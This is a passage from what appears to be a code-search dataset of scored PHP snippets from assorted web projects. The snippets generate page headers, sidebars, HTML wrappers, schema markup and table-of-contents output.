GET or a POST\r\n\r\n $scriptargs = array_merge($_GET, $_POST) ;\r\n\r\n // The swimmeetid is the argument which must be\r\n // dealt with differently for GET and POST operations\r\n\r\n if (array_key_exists(\"swimmeetid\", $scriptargs))\r\n $swimmeetid = $scriptargs[\"swimmeetid\"] ;\r\n else if (array_key_exists(\"_swimmeetid\", $scriptargs))\r\n $swimmeetid = $scriptargs[\"_swimmeetid\"] ;\r\n else if (array_key_exists(FT_DB_PREFIX . \"radio\", $scriptargs))\r\n $swimmeetid = $scriptargs[FT_DB_PREFIX . \"radio\"][0] ;\r\n else\r\n $swimmeetid = null ;\r\n\t \r\n $container = container() ;\r\n\r\n $it = new SwimMeetInfoTable(\"Swim Meet Details\") ;\r\n $it->setSwimMeetId($swimmeetid) ;\r\n $it->BuildInfoTable() ;\r\n\r\n $container->add($it) ;\r\n $container->add(FlipTurnGUIButtons::getBackHomeButtons()) ;\r\n\r\n\t return $container ;\r\n }", "title": "" }, { "docid": "256e14225beab099b3acd80bfd7cd3d4", "score": "0.55592316", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nJava in PL SQL\nMAINHEADING;\n }", "title": "" }, { "docid": "6b6bd74718cfe923fa47dbe5bdbbdf45", "score": "0.55546486", "text": "public function getContent(): string {\n\t\t$current_style = Registry::singleton()->getSetting(\"current_style_name\");\n\t\tif (file_exists(STYLE_PATH . $current_style . \"/pages/home.tpl\")) {\n\t\t\t$template = new Template($this->getPage()->hasCustomTemplate() ? $this->getPage()->getCustomTemplate() : \"pages/home\");\n\n\t\t\t$template->assign(\"TITLE\", $this->getPage()->getTitle());\n\t\t\t$template->assign(\"CONTENT\", $this->getHTML());\n\n\t\t\t$template->parse(\"main\");\n\t\t\treturn $template->getCode();\n\t\t} else {\n\t\t\treturn $this->getHTML();\n\t\t}\n\t}", "title": "" }, { "docid": "593a797c2f1be2ed2e3db31a21183156", "score": "0.55305237", "text": "public function content() {\n return array(\n '#type' => 'markup',\n '#markup' => $this->t('<div id=\"swagger-ui\"></div>')\n );\n }", "title": "" }, { "docid": "84f83e89f33a437bef4834395062a85b", "score": "0.5528894", "text": "protected function add_content()\n\t{\n\t\t// close_page() function must remember to close them\n\n\t\t$nav = new navigateHoriz($this->h_links, $this->link_root);\n\t\treturn $nav->display_navbar() . \"\\n<div id=\\\"content\\\">\";\n\t}", "title": "" }, { "docid": "0769c059bf603c5cd38f2d20487e45f7", "score": "0.5511718", "text": "public function body_banner_tags() {\r\n\t\t$this->output('<div class = \"blue-header tags-page hidden-xs\">\r\n\t\t\t\t<div class=\"icon col-xs-3\">\r\n\t\t\t\t\t<img src=\"'.$this->rooturl.'images/add_tags.svg\">\r\n\t\t\t\t</div>\r\n\t\t\t\t<div class = \"text col-xs-8\">\r\n\t\t\t\t\t<h3>add tags to easily find answers</h3>\r\n\t\t\t\t\t<div class=\"desc\">\r\n\t\t\t\t\t\tDescription text comes here: How to add tags, how tags help, number of tags that can be added etc.\r\n\t\t\t\t\t</div>\r\n\t\t\t\t</div>\r\n\t\t\t\t<div class = \"arrow col-xs-1\">\r\n\t\t\t\t\t<a href=\"#\" ><span class=\"glyphicon glyphicon-menu-down\"></span> </a>\r\n\t\t\t\t</div>\r\n\t\t\t</div>');\r\n\t}", "title": "" }, { "docid": "8f8531b047e516aa264478a6bc947940", "score": "0.5488594", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nAsynchronous JavaScript and XML\nMAINHEADING;\n }", "title": "" }, { "docid": "d244dba83115c2219dd862e71bcbeb23", "score": "0.5480598", "text": "public function getSideBarContent() {\n\t\tglobal $controller;\n\n\t\t$html = '';\n\t\t$active = 0;\n\t\t$n = 0;\n\t\tforeach (Module::getActiveSidebars($this->record->getTree()) as $mod) {\n\t\t\tif ($mod->hasSidebarContent()) {\n\t\t\t\t$html .= '<h3 id=\"' . $mod->getName() . '\"><a href=\"#\">' . $mod->getTitle() . '</a></h3>';\n\t\t\t\t$html .= '<div id=\"sb_content_' . $mod->getName() . '\">' . $mod->getSidebarContent() . '</div>';\n\t\t\t\t// The family navigator should be opened by default\n\t\t\t\tif ($mod->getName() == 'family_nav') {\n\t\t\t\t\t$active = $n;\n\t\t\t\t}\n\t\t\t\t++$n;\n\t\t\t}\n\t\t}\n\n\t\tif ($html) {\n\t\t\t$controller\n\t\t\t\t->addInlineJavascript('\n\t\t\t\tjQuery(\"#sidebarAccordion\").accordion({\n\t\t\t\t\tactive:' . $active . ',\n\t\t\t\t\theightStyle: \"content\",\n\t\t\t\t\tcollapsible: true,\n\t\t\t\t});\n\t\t\t');\n\n\t\t\treturn '<div id=\"sidebar\"><div id=\"sidebarAccordion\">' . $html . '</div></div>';\n\t\t} else {\n\t\t\treturn '';\n\t\t}\n\t}", "title": "" }, { "docid": "db12387f3596773d204c8ba93922b24f", "score": "0.54787654", "text": "public function content() {\n\t\treturn bp_buffer_template_part( 'activity/index', null, false );\n\t}", "title": "" }, { "docid": "cb18549504768992824a95a2fc58fbb0", "score": "0.5478004", "text": "private function beginMainContent(){\r\n $this->htmlElementStart('div', 'px-4');\r\n }", "title": "" }, { "docid": "c60bc5c7a18a6894403f7f445caeadb6", "score": "0.54747504", "text": "function cera_projects_output_content_wrapper() {\n\t\t?>\n\t\t<div id=\"primary\" class=\"content-area region__col region__col--2\">\n\t\t\t<main id=\"main\" class=\"site-main\">\n\t\t<?php\n\t}", "title": "" }, { "docid": "e56a33add3c15b650ef4e54fc7f1af29", "score": "0.54660904", "text": "public function opening()\n {\n $attrs = [];\n\n foreach ($this->aAttrs as $key => $value)\n {\n $value = htmlentities($value, ENT_QUOTES);\n $attrs[] = \"$key='$value'\";\n }\n\n $attrs = implode(' ', $attrs);\n\n return \"<$this->sTagname $attrs>\";\n }", "title": "" }, { "docid": "4c16cd6e98ab0c5a77a8475bb1dc99c9", "score": "0.54520833", "text": "function printContent() {\n global $SOBE;\n\n $this->content.=$this->doc->middle();\n $this->content.=$this->doc->endPage();\n echo $this->content;\n }", "title": "" }, { "docid": "f2e73514db6b9140405fa5d8bcfd86ec", "score": "0.54497015", "text": "function ea_return_sidebar_content() {\n \treturn 'sidebar-content';\n }", "title": "" }, { "docid": "bb3b183d7b306487819c04fa583c0cb4", "score": "0.5447829", "text": "public function ATIMainContent()\n\t{\techo $this->question->Display(), $this->question->RespondForm();\n\t}", "title": "" }, { "docid": "5306d6e7f41837122979934e6a38631f", "score": "0.54373395", "text": "function getTag($contents) {\n\t\treturn $this -> startTag . $contents . $this -> endTag;\n\t}", "title": "" }, { "docid": "18f7ae747c994ee5afeb2e860d4c6e2a", "score": "0.54367524", "text": "function insert_opening_schema_description_tag_to_blog_post() {\r\n\t\techo '<div itemprop=\"description\">';\r\n\t}", "title": "" }, { "docid": "32fa2a9caaf7ea3e547b3ff67f55b48c", "score": "0.5435775", "text": "function insert_openning_div_for_schema_tag_to_header() {\r\n\t\techo '<div itemtype=\"http://schema.org/WPHeader\" itemscope=\"itemscope\">';\r\n\t}", "title": "" }, { "docid": "a9a4d5292149eb7b2dcb15e331b6ee6c", "score": "0.54227847", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nFunctions in PL SQL\nMAINHEADING;\n }", "title": "" }, { "docid": "29c21039fa284b1d74263fb044de8c0e", "score": "0.54178375", "text": "function open_section() {\n echo $this->layout->open_container;\n }", "title": "" }, { "docid": "e1c7a4ff6f1eff5a07e2f083c012dc45", "score": "0.5405572", "text": "function printStudyContent() {\n\t\t\n\t\trequire 'connection.php';\n\n\t\t// select all content from wikiEntry\n\t\t$sql=\"SELECT * FROM wikiEntry\";\n\t\t$rs = odbc_exec($connection, $sql);\n\t\todbc_fetch_row($rs);\n\t\t$rows = odbc_num_rows($rs); //returns num of rows to loop\n\n\t\t$prevCategoryName = \"\"; //initalize previous category check\n\n\t\tfor ($i=1; $i <= $rows; $i++) { \n\t\t\t\n\t\t\t$sql=\"SELECT (name)categoryName, title, content FROM category LEFT JOIN wikiEntry ON category.ID=wikiEntry.categoryID WHERE wikiEntry.ID = $i\";\n\t\t\t\t$rs = odbc_exec($connection,$sql);\n\t\t\t\todbc_fetch_row($rs);\n\n\t\t\t$categoryName = odbc_result($rs,\"categoryName\");\n\n\t\t\techo '<div>';\n\n\t\t\tif ($categoryName != $prevCategoryName) {\n\t\t\t\techo '<a name=\"' . $categoryName . '\"></a><h2>' . $categoryName . '</h2>';\n\t\t\t\t$prevCategoryName = $categoryName; \n\t\t\t}\n\n\t\t\techo '<h4>' . odbc_result($rs,\"title\") . '</h4>' . odbc_result($rs,\"content\") . '</div>';\n\t\t}\n\t}", "title": "" }, { "docid": "f4a33e9bae140d0070492fff0ff31478", "score": "0.5399114", "text": "function get_content($tag)\n {\n $html = file_get_html($this->url);\n //clases content y primary_content\n foreach(($html->find('#content #primary_content '.$tag)) as $i=>$metar)\n {\n $this->metars[] = $metar;\n }\n }", "title": "" }, { "docid": "b6a5c61796042fa62c63b606d114c870", "score": "0.5397075", "text": "public function xhtml() {\n\t\t\n\t\tif ( ! $this->xml)\n\t\t\treturn;\n\t\n\t\t// get the webroot\n\t\tglobal $pathroot, $webroot, $container,$codealchemy_location,$directory_name;\n\t\t\n\t\t// get the app name\n\t\t$appname = $container->app->name;\n\t\n\t\t\n\t\t// collate doctype\n\t\t$html = $this->docType[ $this->xml->attr( 'doctype' ) ] . \"\\r\\n\";\n\t\t\n\t\t// wrap everything in html tag\n\t\t$html .= '<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:fb=\"http://www.facebook.com/2008/fbml\" xml:lang=\"en\" lang=\"en\">' . \"\\r\\n\";\n\t\t\n\t\t// construct the head\n\t\t$html .= \"<head>\\r\\n\";\n\t\t\n\t\t// set cntent type\n\t\t$html .= '<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />';\n\t\t\n\t\t/*\n\t\t * new change per Ivan Shcherbak, we need a way to template the <head> section.\n\t\t * For now, if its missing from the page, we assume it can be found in /xml/head.xml\n\t\t */\n\t\t $head = ( isset( $this->xml->xml()->head ))? $this->xml->xml()->head : $this->get_head();\n\t\t \t\n\t\t// if we have head items, process them\n\t\tforeach ( $head->children() as $child ){\n\t\t\tswitch ( $child->getName() ) {\n\t\t\t\t// javascript library include\n\t\t\t\tcase 'js':\n\t\t\t\t\t$html .= js_lib_bundle::create( $child[\"libs\"] )->xhtml;\n\t\t\t\tbreak;\n\t\t\t\t// meta\n\t\t\t\tcase 'meta':\n\t\t\t\t\t$html .= \"<meta \";\n\t\t\t\t\tforeach ($child->attributes() as $name => $value )\n\t\t\t\t\t\t$html .= \" $name=\\\"$value\\\" \";\n\t\t\t\t\t$html .= \"/>\";\n\t\t\t\tbreak;\n\t\t\t\t// doc title\n\t\t\t\tcase 'title':\n\t\t\t\t\t$html .= '<title>'. (string) xQuery::parse( $child ) . '</title>';\n\t\t\t\tbreak;\n\t\t\t\t// style sheets\n\t\t\t\tcase 'css':\n\t\t\t\t\t$html .= \" \" . '<link rel=\"stylesheet\" type=\"text/css\" media=\"all\" href=\"' . xQuery::parse( (string) $child ) . '\"></link>' . \"\\r\\n\";\n\t\t\t\tbreak;\n\t\t\t\t// javascript\n\t\t\t\tcase 'script':\n\t\t\t\t\tif ( isset( $child['src'] ) ) {\n\t\t\t\t\t\t$html .= \"\t\" . '<script type=\"text/javascript\" src=\"' . xQuery::parse( (string) $child['src'] ) . '\"></script>'. \"\\r\\n\";\n\t\t\t\t\t\tif ( preg_match (\"/$appname\\.js/\", $html ) ) {\n//\t\t\t\t\t\t\techo get_class() . \": xhtml: just loaded app js<br>\";\n\t\t\t\t\t\t\t// auto load page js\n\t\t\t\t\t\t\tif ( file_exists( $pathroot . \"js/$this->key.js\" ) )\n\t\t\t\t\t\t\t\t$html .= '<script type=\"text/javascript\" src=\"' . $webroot . \"js/$this->key.js\" . '\"></script>'. \"\\r\\n\";\n\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t\telse $html .= \"\t\" . '<script type=\"text/javascript\">' . xQuery::parse( $child ). '</script>' . \"\\r\\n\";\n\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$container->exception(\n\t\t\t\t\t\t// type of exception\n\t\t\t\t\t\txexception::unrecognized_tag,\n\t\t\t\t\t\t// code tag\n\t\t\t\t\t\tnew xo_codetag( __FILE__, __LINE__, get_class(), __FUNCTION__),\n\t\t\t\t\t\t// data\n\t\t\t\t\t\t\"The xml tag tagname=\".$child->getName().\" was not recognized by the parser, when trying to render the WebPage(). \"\n\t\t\t\t\t);\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\t//! add app js if necessary\n\t\t\tif ( $child->getName() == 'js') {\n\t\t\t\tif ( file_exists( $pathroot . \"js/$appname.js\"))\n\t\t\t\t\t$html .= '<script type=\"text/javascript\" language=\"javascript\" src=\"'.$webroot.\"js/$appname.js\".'\"></script>';\n\t\t\t}\n\t\t}\n\t\t\t\n\t\t// auto load page css\n\t\tif ( file_exists( $pathroot . \"css/$this->key.css\" ) )\n\t\t\t$html .= '<link rel=\"stylesheet\" type=\"text/css\" media=\"all\" href=\"' . $webroot . \"css/$this->key.css\" . '\"></link>'. \"\\r\\n\";\n\t\t\n\t\t\n\t\t\n\t\t$html .= \"</head>\\r\\n\";\n\t\t\n\t\t// and the body\n\t\t$html .= '<body class=\"' . $this->key . '\">' . \"\\r\\n\";\n\t\t\n\t\t// add special div for missing controller\n\t\t$html .= '<div class=\"missing-controller\">' . xQuery::parse( \"[var:missing_controller]\" ) . '</div>' . \"\\r\\n\";\n\t\t\n\t\t// loop through all elements and create them\n\t\tforeach ( $this->xml->xml()->body->children() as $node ) \n\t\t\t\n\t\t\t$html .= RealXML::create( $node )->html();\n\t\t\t\t\n\t\t\t\t\n\t\t$html .= \"</body>\\r\\n\";\n\t\n\t\t// close html\n\t\t$html .= '</html>';\n\t\t\n\t\t// manage embedded calls\n\t\t$html = $this->function_calls( $html );\n\t\t\n\t\n\t\t\n\t\treturn $html;\n\t}", "title": "" }, { "docid": "d4449df9709b09a6c80a6032b3b7c246", "score": "0.53845745", "text": "public function getContent(){\n return $this->getPage();\n }", "title": "" }, { "docid": "d4449df9709b09a6c80a6032b3b7c246", "score": "0.53845745", "text": "public function getContent(){\n return $this->getPage();\n }", "title": "" }, { "docid": "d4449df9709b09a6c80a6032b3b7c246", "score": "0.53845745", "text": "public function getContent(){\n return $this->getPage();\n }", "title": "" }, { "docid": "29c010d08ead50b2c3bda39251057384", "score": "0.5381599", "text": "public function mainContent() {\r\n // now follows html:\r\n ?>\r\n <ul>\r\n <li>This is a nested view, under the &QUOT;sample&quot; folder</li>\r\n <li>You can nest it as deep as you want</li>\r\n <li>Loaded without any controller</li>\r\n </ul>\r\n \r\n <?php\r\n if(isset($_REQUEST['id']))\r\n echo \"parameter passed via get method: \" . $_REQUEST['id'];\r\n }", "title": "" }, { "docid": "b40aa5f2c10af474b1989a0426553008", "score": "0.5345385", "text": "private function mainContent(){\r\n if ($this->model->showPage){\r\n $this-> beginMainContent();\r\n $this-> middleMainContent();\r\n $this-> endMainContent();\r\n }\r\n else {\r\n $this->htmlElement('p', 'Page['.$this->model->page.'] not found', 'text-center lead text-danger');\r\n }\r\n }", "title": "" }, { "docid": "7086c4a0abf32625b617788e2ac3e488", "score": "0.53444576", "text": "abstract function page_content();", "title": "" }, { "docid": "7086c4a0abf32625b617788e2ac3e488", "score": "0.53444576", "text": "abstract function page_content();", "title": "" }, { "docid": "899c41efce08fd163b28f758f58d4edd", "score": "0.5342807", "text": "public function full_header() {\n $html = html_writer::start_tag('div', array('id' => 'page-header', 'class' => 'clearfix'));\n $html .= $this->context_header();\n $html .= html_writer::start_div('clearfix', array('id' => 'page-navbar'));\n $html .= html_writer::tag('nav', $this->navbar(), array('class' => 'breadcrumb-nav'));\n $html .= html_writer::start_div('clearfix', array('id' => 'bread-crumb-button'));\n $html .= html_writer::div($this->page_heading_button(), 'breadcrumb-button');\n $html .= html_writer::end_div();\n $html .= html_writer::end_div();\n $html .= html_writer::tag('div', $this->course_header(), array('id' => 'course-header'));\n $html .= html_writer::end_tag('div');\n return $html;\n }", "title": "" }, { "docid": "abcc4906ebb94fea3eed0144eb95334a", "score": "0.53427756", "text": "function getContentToolbar() {\n include_once(PAPAYA_INCLUDE_PATH.'system/base_btnbuilder.php');\n $toolbar = new base_btnbuilder;\n $toolbar->images = &$GLOBALS['PAPAYA_IMAGES'];\n\n $toolbar->addButton(\n 'General',\n $this->getLink(array('contentmode'=>0)),\n $toolbar->images['categories-content'],\n '',\n $this->params['contentmode'] == 0\n );\n $toolbar->addButton(\n 'Tag Selection',\n $this->getLink(array('contentmode'=>1)),\n $toolbar->images['actions-tag-add'],\n '',\n $this->params['contentmode'] == 1\n );\n $toolbar->addSeperator();\n\n if ($str = $toolbar->getXML()) {\n return '<toolbar>'.$str.'</toolbar>';\n }\n return '';\n }", "title": "" }, { "docid": "68f874e957160b33bda022b28616cee2", "score": "0.5337855", "text": "public function getMainHeading() : string\n {\n return <<< 'MAINHEADING'\nSQL DateTime\nMAINHEADING;\n }", "title": "" }, { "docid": "933df8dc2b7497f2c356d3b9b0521b43", "score": "0.53342324", "text": "function printContent()\t{\r\n\t\t$this->content.=$this->doc->middle();\r\n\t\t$this->content.=$this->doc->endPage();\r\n\t\t\r\n\t\techo $this->content;\r\n\t}", "title": "" }, { "docid": "ccb8f8724092efd1e2d335108ba3f993", "score": "0.5325417", "text": "function insert_openning_div_for_schema_tag_to_footer() {\r\n\t\techo '<div itemtype=\"http://schema.org/WPFooter\" itemscope=\"itemscope\">';\r\n\t}", "title": "" }, { "docid": "17dd0ed4cea3158135f554da395e0a70", "score": "0.5320974", "text": "function displayTopTagHtml(){\n echo\n '<!DOCTYPE html>\n <html lang=\"fr\">';\n}", "title": "" }, { "docid": "aa6211c883d5f48d66a6f10f80a8ec44", "score": "0.5316907", "text": "private function getHeader() {\r\n\t\treturn '<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\" lang=\"en\">\r\n\t<head>\r\n\t\t<title>'.system::getConfig()->getParam('app', 'title', 'Scorpio Framework').' - '.$this->getReport()->getReportName().'</title>\r\n\t\t<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\r\n\t\t<style type=\"text/css\">\r\n\t\t<!--\r\n\t\thtml * { margin: 0; padding: 0; font-family: '.$this->getReport()->getReportStyle()->getStyleAttribute(reportStyle::SECTION_DATA, reportStyle::STYLE_ATTRIBUTE_FONT, 'Arial, Verdana, Helvetica, sans-serif').'; }\r\n\t\tbody { margin: 10px; font-size: '.$this->getReport()->getReportStyle()->getStyleAttribute(reportStyle::SECTION_PAGE, reportStyle::STYLE_ATTRIBUTE_FONT_SIZE, 12).'px; }\r\n\t\th1 { margin-bottom: 5px; '.$this->createCssStyle($this->getReport()->getReportStyle()->getStyles(reportStyle::SECTION_TITLE)).' }\r\n\t\tp { margin-bottom: 10px; '.$this->createCssStyle($this->getReport()->getReportStyle()->getStyles(reportStyle::SECTION_DESC)).' }\r\n\t\ttable { border: 1px solid #000; padding: 3px; width: 100%; }\r\n\t\ttable td { padding: 3px; }\r\n\t\ttable thead th { padding: 3px; '.$this->createCssStyle($this->getReport()->getReportStyle()->getStyles(reportStyle::SECTION_HEADING)).' text-align: left; }\r\n\t\ttable tbody td { '.$this->createCssStyle($this->getReport()->getReportStyle()->getStyles(reportStyle::SECTION_DATA)).' }\r\n\t\ttable tbody tr.alt td { background-color: #'.$this->getReport()->getReportStyle()->getStyleAttribute(reportStyle::SECTION_DATA, reportStyle::STYLE_ATTRIBUTE_ALT_BACKGROUND_COLOUR, 'fcfcfc').'; }\r\n\t\thr { margin: 15px 0px; padding: 0px; border: 0px; height: 1px; background-color: #000; color: #000; }\r\n\t\t.footer { margin-top: 10px; text-align: center; }\r\n\t\t.footer p { color: #999; font-sytle: italic; }\r\n\t\t.confidential { display: block; font-weight: bold; font-size: 14px; float: left; }\r\n\t\t-->\r\n\t\t</style>\r\n\t</head>\r\n\t<body bgcolor=\"#ffffff\">\r\n\t\t<h1>'.system::getConfig()->getParam('app', 'title', 'Scorpio Framework').' - '.htmlentities($this->getReport()->getReportName(), ENT_COMPAT, 'UTF-8').'</h1>';\r\n\t}", "title": "" }, { "docid": "b5ee18f622ab53e2e3fa76dbbb32ee79", "score": "0.5303532", "text": "public function open ()\n {\n return '<' . $this->tag() . $this->getProperties() . '>';\n }", "title": "" }, { "docid": "94fdda4c4515c346c4f9886b9bb17d18", "score": "0.5300673", "text": "public function bainternet_generate_toc_encoded($content)\n {\n global $toc_u,$post;\n //$this->toc_by_h_tags($content);\n $pos = strpos($content, \"[---TOC---]\");\n if ($pos === false || $toc_u) {\n return $content;\n }\n $pos = strpos($content, \"[---TOC Header:\");\n if ($pos >= 0) {\n $toc_header = '';\n $start = strpos($content, \"[---TOC Header:\");\n $end = strpos($content, \"---]\", $start);\n $h = substr($content, $start, ($end + 4 - $start));\n $he = str_replace('[---TOC Header:', '', $h);\n $he = str_replace('---]', '', $he);\n $toc = '<div class=\"toc\"><div class=\"toc-head\">'.apply_filters('Simple_TOC_Heading', $he, $post).'</div><div class=\"toc_list\">';\n $content = str_replace($h, '', $content);\n } else {\n $toc = '<div class=\"toc\"><div class=\"toc_list\">';\n }\n $toc .= apply_filters('Simple_TOC_before_items', '', $post).'<ul>';\n $toc .= apply_filters('Simple_TOC_before_first_item', '', $post);\n $count = 0;\n while (strpos($content, \"[---TOC Heading:\") > 0) {\n $start = $end = $heading = $h = $anchor = '';\n $start = strpos($content, \"[---TOC Heading:\");\n $end = strpos($content, \"---]\", $start);\n $h = substr($content, $start, ($end + 4 - $start));\n $heading = str_replace(\"[---TOC Heading:\", '', $h);\n $heading = str_replace(\"---]\", '', $heading);\n $heading_slug = str_replace(\" \", '-', $heading);\n //fix none unicode anchors?\n $heading_slug = apply_filters('Simple_TOC_Heading_Slugs', sanitize_title($heading_slug), $post);\n $anchor = '<a name=\"toc-'.$heading_slug.'\" style=\"text-decoration: none;\">&nbsp;&nbsp;</a>';\n $content = str_replace($h, $anchor, $content);\n $toc .= '<li class=\"toc_item\"><a href=\"#toc-'.$heading_slug.'\">'.$heading.'</a></li>';\n $count = $count + 1;\n }\n $toc .= apply_filters('Simple_TOC_After_Last_item', '', $post);\n $toc .= '</ul></div></div>';\n $content = str_replace(\"[---TOC---]\", $toc, $content);\n $toc_u = true;\n return wptexturize($content);\n }", "title": "" }, { "docid": "005fbde6b7ae396aa818e0b9c89f9fd6", "score": "0.5300121", "text": "function udesign_single_postmetadata_with_schema_tags() {\r\n\t\tglobal $udesign_options;\r\n\t\tob_start();\r\n\t\t?>\r\n\t\t\t<div class=\"single-postmetadata-divider-top\"><?php echo do_shortcode( '[divider]' ); ?></div>\r\n\t\t\t<section class=\"postmetadata\">\r\n\t\t\t\t<?php \r\n\t\t\t\tif ( $udesign_options['show_postmetadata_author'] == 'yes' ) :\r\n\t\t\t\t\tprintf( __( 'By %1$s on %2$s ', 'udesign' ), '<span class=\"vcard author\"><span class=\"fn\">' . udesign_get_the_author_page_link() . '</span></span>', '<span class=\"updated\">' . get_the_date() . '</span>' );\r\n\t\t\t\telse :\r\n\t\t\t\t\tprintf( __( '%1$s On %2$s ', 'udesign' ), '<span class=\"hide-author vcard author\"><span class=\"fn\">' . udesign_get_the_author_page_link() . '</span></span>', '<span class=\"updated\">' . get_the_date() . '</span>' );\r\n\t\t\t\tendif;\r\n\t\t\t\t?>\r\n\t\t\t\t<time datetime=\"<?php echo get_the_date( 'c' ); ?>\" itemprop=\"datePublished\"></time>\r\n\t\t\t\t<time datetime=\"<?php echo get_the_modified_time( 'c' ) ?>\" class=\"entry-date updated\" itemprop=\"dateModified\"></time>\r\n\t\t\t\t&nbsp; <span class=\"categories-link-divider\">/ &nbsp;</span> <span class=\"postmetadata-categories-link entry-title\"><?php the_category( ', ' ); ?></span> &nbsp; <?php echo udesign_get_comments_link(); ?> <?php edit_post_link( __( 'Edit', 'udesign' ), '<div class=\"postmetadata-edit-link\">', '</div>' ); ?> \r\n\t\t\t\t<?php echo ( $udesign_options['show_postmetadata_tags'] == 'yes' ) ? the_tags( '<div class=\"post-tags-wrapper\">' . __( 'Tags: ', 'udesign' ), ', ', '</div>' ) : ''; ?>\r\n\t\t\t</section>\r\n\t\t\t<div class=\"single-postmetadata-divider-bottom\"><?php echo do_shortcode( '[divider]' ); ?></div>\r\n\t\t<?php\r\n\t\t$postmetadata_html = ob_get_clean();\r\n\t\t$html = apply_filters( 'udesign_get_udesign_single_postmetadata', $postmetadata_html );\r\n\t\techo $html;\r\n\t}", "title": "" }, { "docid": "09730e040cf9a1e888e909156b37d68b", "score": "0.52983946", "text": "function layout_main_container_begin() {\n\techo '<div class=\"main-container\" id=\"main-container\">', \"\\n\";\n}", "title": "" }, { "docid": "f32f05237a102ebd6fa61c29e7cb4b91", "score": "0.52965486", "text": "function vulcano_before_content() {\n\t\t?>\n\t\t<main id=\"content\" class=\"<?php echo vulcano_classes_page_sidebar(); ?>\" tabindex=\"-1\" role=\"main\">\n\t\t<?php\n\t}", "title": "" }, { "docid": "86b48e37fe2be1c80f2a35e8f1439c0c", "score": "0.5289029", "text": "public function head()\n\t{\n\t\treturn $this->append('head', '')->charset()->getParent();\n\t}", "title": "" }, { "docid": "a7d4cbdf3379705b0f4227765b25711c", "score": "0.5288683", "text": "function insert_openning_div_for_schema_tag_to_blog_post() {\r\n\t\techo '<div itemtype=\"http://schema.org/BlogPosting\" itemprop=\"blogPost\" itemscope=\"itemscope\">';\r\n\t}", "title": "" }, { "docid": "279c73517e13f8da635457b67db91cc1", "score": "0.52841187", "text": "function create_doc_contents_for($header, $contents) {\n\techo \"<h3>\".$header.\"</h3>\";\n\techo '<ul class=\"_doc_contents_list\">';\n\tforeach ($contents as $text) {\n\t\techo '<li><a href=\"#a_'.$text.'\">'.$text.\"</a></li>\";\n\t}\n\techo \"</ul>\";\n}", "title": "" }, { "docid": "336ac72c268e96e604717cdd6b8f77d7", "score": "0.52782923", "text": "public function content() {\n return array(\n '#type' => 'markup', \n '#markup' => '<div id=\"application-container\"></div>',\n '#attached' => [\n 'library' => [\n 'd8_react_demo/application',\n ],\n ],\n ); \n }", "title": "" }, { "docid": "3ec5ff99acd3c39bf7db448dfc6b92e2", "score": "0.5275103", "text": "public function body_content()\r\n\t{\r\n\t\t$this->body_prefix();\r\n\t\t$this->notices();\r\n\t\t$this->widgets('full', 'top');\r\n\t\t$this->header();\r\n\t\t$this->output('<div class=\"qa-body-wrapper\">', '');\r\n\t\t$this->widgets('full', 'high');\r\n\t\t$this->output('<div class=\"qa-main-wrapper\">', '');\r\n\t\t$this->main();\r\n\t\t$this->sidepanel();\r\n\t\t$this->output('</div> <!-- END main-wrapper -->');\r\n\t\t$this->widgets('full', 'low');\r\n\t\t$this->output('</div> <!-- END body-wrapper -->');\r\n\t\t$this->footer();\r\n\t\t$this->body_suffix();\r\n\t}", "title": "" }, { "docid": "9758f0a3dedf296fb62ebe6dc89597dc", "score": "0.5266341", "text": "public function getBeginContent()\n\t{\n\t return isset($this->options['begin_content']) ? $this->options['begin_content'] : null;\n\t}", "title": "" }, { "docid": "26b93db4432bd9360b1c37797ad9eaee", "score": "0.52663285", "text": "function getStartTag() \n\t{\n\t\treturn $this->start_tag;\n\t}", "title": "" }, { "docid": "f3e68718244fe046877c9583793c5abb", "score": "0.52539665", "text": "public function content();", "title": "" }, { "docid": "f3e68718244fe046877c9583793c5abb", "score": "0.52539665", "text": "public function content();", "title": "" }, { "docid": "07ddf852bc2cf331037832a7ee9b9faa", "score": "0.5251609", "text": "protected function start_section_div() {\r\n// return html_writer::start_tag('div', array('class' => 'container-fluid'));\r\n return html_writer::start_tag('div', []);\r\n }", "title": "" }, { "docid": "2b4902c9c612189b8112517d19fbabae", "score": "0.5251053", "text": "function genesis() {\n\n\tget_header();\n\n\tdo_action( 'genesis_before_content_sidebar_wrap' );\n\tgenesis_markup( array(\n\t\t'html5' => '<div %s>',\n\t\t'xhtml' => '<div id=\"content-sidebar-wrap\">',\n\t\t'context' => 'content-sidebar-wrap',\n\t) );\n\n\t\tdo_action( 'genesis_before_content' );\n\t\tgenesis_markup( array(\n\t\t\t'html5' => '<main %s>',\n\t\t\t'xhtml' => '<div id=\"content\" class=\"hfeed\">',\n\t\t\t'context' => 'content',\n\t\t) );\n\t\t\tdo_action( 'genesis_before_loop' );\n\t\t\tdo_action( 'genesis_loop' );\n\t\t\tdo_action( 'genesis_after_loop' );\n\t\tgenesis_markup( array(\n\t\t\t'html5' => '</main>', //* end .content\n\t\t\t'xhtml' => '</div>', //* end #content\n\t\t) );\n\t\tdo_action( 'genesis_after_content' );\n\n\techo '</div>'; //* end .content-sidebar-wrap or #content-sidebar-wrap\n\tdo_action( 'genesis_after_content_sidebar_wrap' );\n\n\tget_footer();\n\n}", "title": "" }, { "docid": "bcf1e90575f2769debd455f2fcabf99b", "score": "0.524529", "text": "function getStartTag() {\n\t\treturn $this -> startTag;\n\t}", "title": "" }, { "docid": "b655cea8345e035824efc9cd613ecc91", "score": "0.5239426", "text": "function getContent()\n {\n return null;\n }", "title": "" }, { "docid": "a67308cd54760701677c4c51d3c676db", "score": "0.52381015", "text": "function renderGeneralHTMLHead() {\n\t\tglobal $CONFIG;\n\t\t$doc = self::$categoryDoc;\n\t\t$body = self::$document;\n\n\n\t\t$pageid = $body->pageid;\n\t\t$title = 